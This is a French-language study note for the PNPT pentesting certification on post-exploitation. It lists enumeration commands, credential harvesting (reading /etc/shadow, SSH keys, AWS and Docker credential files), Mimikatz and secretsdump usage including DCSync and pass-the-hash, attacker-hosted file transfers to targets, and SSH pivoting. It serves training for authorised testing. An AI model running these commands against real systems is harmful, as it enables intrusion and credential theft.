Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Certifications › PNPT-cert › 08-post-exploitation
May 18, 2026

Post-Exploitation (PNPT)

Le shell, ce n’est que le début. La post-exploitation, c’est tout ce qu’on fait après pour atteindre l’objectif réel : escalader, récolter des credentials, se déplacer latéralement, exfiltrer. Sur un engagement, c’est 70% du temps total. Un shell sans post-exploitation, c’est une victoire vide.

La checklist après accès§

Quand un shell s’ouvre, on suit toujours la même séquence — sinon on rate des choses évidentes ou on grille sa position en faisant n’importe quoi.

   Shell obtenu (utilisateur quelconque)


   1. Stabiliser le shell (TTY, Ctrl+C, autocomplétion)


   2. Énumération locale (qui, où, quoi de patché)


   3. Récolte de credentials (locaux + en mémoire)


   4. Privilege escalation (si pas déjà admin/root)


   5. Persistance (si autorisée dans le scope)


   6. Mouvement latéral (autres machines accessibles)


   7. Exfiltration (POC sur données critiques, pas la totalité)

À retenir : l’ordre n’est pas négociable. Stabiliser avant d’énumérer (sinon tab ne marche pas). Récolter les creds avant privesc (parfois les creds suffisent à se connecter en admin ailleurs sans privesc locale).

Énumération locale§

Linux§

# Identité et système
whoami && id                       # UID, groupes (docker, lxd, sudo = jackpot)
hostname                           # nom de machine
uname -a                           # kernel (CVE potentielles)
cat /etc/os-release                # distrib + version

# Surface de privesc
sudo -l                            # commandes sudo autorisées (NOPASSWD = direct)
find / -perm -4000 2>/dev/null     # binaires SUID (GTFOBins le matin)
find / -writable -type d 2>/dev/null | grep -v /proc
cat /etc/crontab                   # tâches plannifiées (cron en root = vecteur)
ls /etc/cron.{d,daily,hourly,monthly,weekly}/

# Contexte
ls -la /home/                      # autres utilisateurs
env                                # variables d'environnement (creds cachés)
netstat -tulnp 2>/dev/null         # ports en écoute locaux
ss -tulnp                          # version moderne
ps aux                             # processus (root processes = cibles)
cat ~/.bash_history                # historique du user actuel
cat /root/.bash_history 2>/dev/null  # si root accidentellement lisible

Outils automatisés : linpeas.sh, linux-exploit-suggester.sh. Toujours les lancer, mais comprendre la sortie — eux pointent les vecteurs, à toi de les exploiter.

Windows§

# Identité et système
whoami /all                        # SID, groupes, privilèges (← !)
hostname
systeminfo                         # OS, patches, domaine (clé pour CVE)

# Comptes et groupes
net user                           # locaux
net localgroup administrators
net user <user> /domain            # un user du domaine
net group "Domain Admins" /domain  # Domain Admins (cible finale)

# Credentials sauvegardés
cmdkey /list                       # creds Windows stockées (RDP, partages)
dir C:\Users\*\AppData\Roaming\Microsoft\Credentials\

# Tâches et services
schtasks /query /fo LIST /v        # tâches planifiées détaillées
sc query                           # services
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /v "C:\Windows"

# Réseau
ipconfig /all
netstat -ano                       # connexions + PID
arp -a                             # voisins L2
route print

Outils automatisés Windows : winPEAS.exe, PowerUp.ps1, Seatbelt.exe. Voir aussi 12-privilege-escalation-windows.

Récolte de credentials§

Le carburant du mouvement latéral. Une fois un compte trouvé, on peut potentiellement aller bien plus loin sans nouvel exploit.

Linux§

# Hashes (si root)
cat /etc/shadow

# Recherche de mots de passe en clair (faut chercher large)
grep -ri "password" /home/ /var/ /opt/ 2>/dev/null | grep -v ":#"
grep -ri "passwd" /etc/ 2>/dev/null
find / -name "*.bak" -o -name "*.old" -o -name "*.swp" 2>/dev/null
find / -name "id_rsa" 2>/dev/null   # clés SSH privées
find / -name "*.kdbx" 2>/dev/null   # bases KeePass

# Fichiers de config qui contiennent souvent des creds
cat /var/www/html/wp-config.php       # WordPress
cat /var/www/html/.env                # Laravel, etc.
cat ~/.aws/credentials                # AWS
cat ~/.docker/config.json             # registry credentials

Windows — Mimikatz§

L’outil le plus connu de l’offensif Windows. Extrait les credentials de la mémoire LSASS (où Windows les garde en clair pour le SSO).

Comment Mimikatz récupère les mots de passe en clair :

Windows stocke les credentials de session dans LSASS.exe (Local Security
Authority Subsystem Service) pour permettre le Single Sign-On.

Mimikatz :
  1. Demande SeDebugPrivilege (privilege::debug)
  2. S'attache à LSASS
  3. Lit la mémoire et déchiffre les secrets avec les clés du processus
  4. → Affiche NTLM, parfois cleartext (si WDigest activé)
mimikatz.exe
privilege::debug                   # activer les privilèges nécessaires
sekurlsa::logonpasswords           # mots de passe en mémoire
sekurlsa::tickets /export          # exporter tickets Kerberos
lsadump::sam                       # dump SAM (hashes locaux)
lsadump::lsa /patch                # dump LSA secrets
lsadump::dcsync /user:Administrator /domain:cible.com   # DCSync !

# Pass-the-Hash via Mimikatz
sekurlsa::pth /user:admin /domain:cible.com /ntlm:HASH /run:cmd.exe

secretsdump (depuis Kali)§

Équivalent réseau de Mimikatz, sans avoir à déposer un binaire sur la cible.

secretsdump.py domaine/user:password@IP                    # local hashes + LSA
secretsdump.py domaine/user:password@DC_IP                 # DCSync si admin
secretsdump.py -hashes :NTHASH domaine/user@IP             # avec PtH

Transfert de fichiers§

Trois cas : déposer un outil sur la cible, récupérer du loot, faire passer entre deux cibles.

# Sur l'attaquant — héberger
python3 -m http.server 8000
# ou avec auth basique
python3 -c "import http.server, ssl; ..."

# Linux cible — récupérer
wget http://10.0.0.1:8000/linpeas.sh
curl -o linpeas.sh http://10.0.0.1:8000/linpeas.sh

# Windows cible — récupérer
certutil -urlcache -f http://10.0.0.1:8000/winPEAS.exe winPEAS.exe
powershell -c "Invoke-WebRequest -Uri http://10.0.0.1:8000/x -OutFile C:\Temp\x"
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.0.0.1:8000/x','C:\Temp\x')"

# SMB (depuis attaquant Kali)
impacket-smbserver -smb2support share /tmp/loot
# Côté Windows
copy \\10.0.0.1\share\winPEAS.exe C:\Temp\

Pivoting basique§

Voir 10-pivoting pour le détail. Idée : utiliser la cible compromise comme tremplin vers un réseau interne inaccessible directement.

# SSH tunnel local — accéder à un port interne depuis ta machine
ssh -L 8080:10.10.10.5:80 user@pivot
# → http://localhost:8080 = http://10.10.10.5:80

# SOCKS dynamique
ssh -D 9050 user@pivot
proxychains nmap -sT 10.10.10.0/24

Pièges courants§

—The Gardener